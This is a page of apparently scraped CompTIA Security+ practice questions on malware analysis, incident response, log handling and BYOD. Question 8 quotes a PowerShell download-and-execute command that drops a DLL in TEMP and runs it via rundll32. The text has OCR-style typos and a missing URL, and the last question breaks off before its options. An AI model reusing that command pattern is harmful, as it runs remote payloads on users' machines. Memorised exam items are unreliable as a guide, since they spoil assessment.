SY0-601 CompTIA Exam Lab Questions

Page: 2 / 44

Question 8

An employee received an email with an unusual file attachment named Updates . Lnk. A security analysts reverse engineering what the fle does and finds that executes the folowing script:

C:\Windows \System32\WindowsPowerShell\vl.0\powershell.exe -URI -OutFile $env:TEMP\autoupdate.dll;Start-Process rundll32.exe $env:TEMP\autoupdate.dll

Which of the following BEST describes what the analyst found?

Options:

A Powershell code is performing a DLL injection.

A PowerShell code is displaying a picture.

A PowerShell code is configuring environmental variables.

A PowerShell code is changing Windows Update settings.

Question 9

A systems engineer thinks a business system has been compromised and is being used to exfiltrated data to a competitor The engineer contacts the CSIRT The CSIRT tells the engineer to immediately disconnect the network cable and to not do anything else Which of the following is the most likely reason for this request?

Options:

The CSIRT thinks an insider threat is attacking the network

Outages of business-critical systems cost too much money

The CSIRT does not consider the systems engineer to be trustworthy

Memory contents including fileles malware are lost when the power is turned off

Question 10

A web server log contains two million lines. A security analyst wants to obtain the next 500 lines starting from line 4,600. Which of the following commands will help the security analyst to achieve this objective?

Options:

cat webserver.log | head -4600 | tail +500 |

cat webserver.log | tail -1995400 | tail -500 |

cat webserver.log | tail -4600 | head -500 |

cat webserver.log | head -5100 | tail -500 |

Question 11

A company wants to enable BYOD for checking email and reviewing documents. Many of the documents contain sensitive organizational information. Which of the following should be deployed first before allowing the use of personal devices to access company data?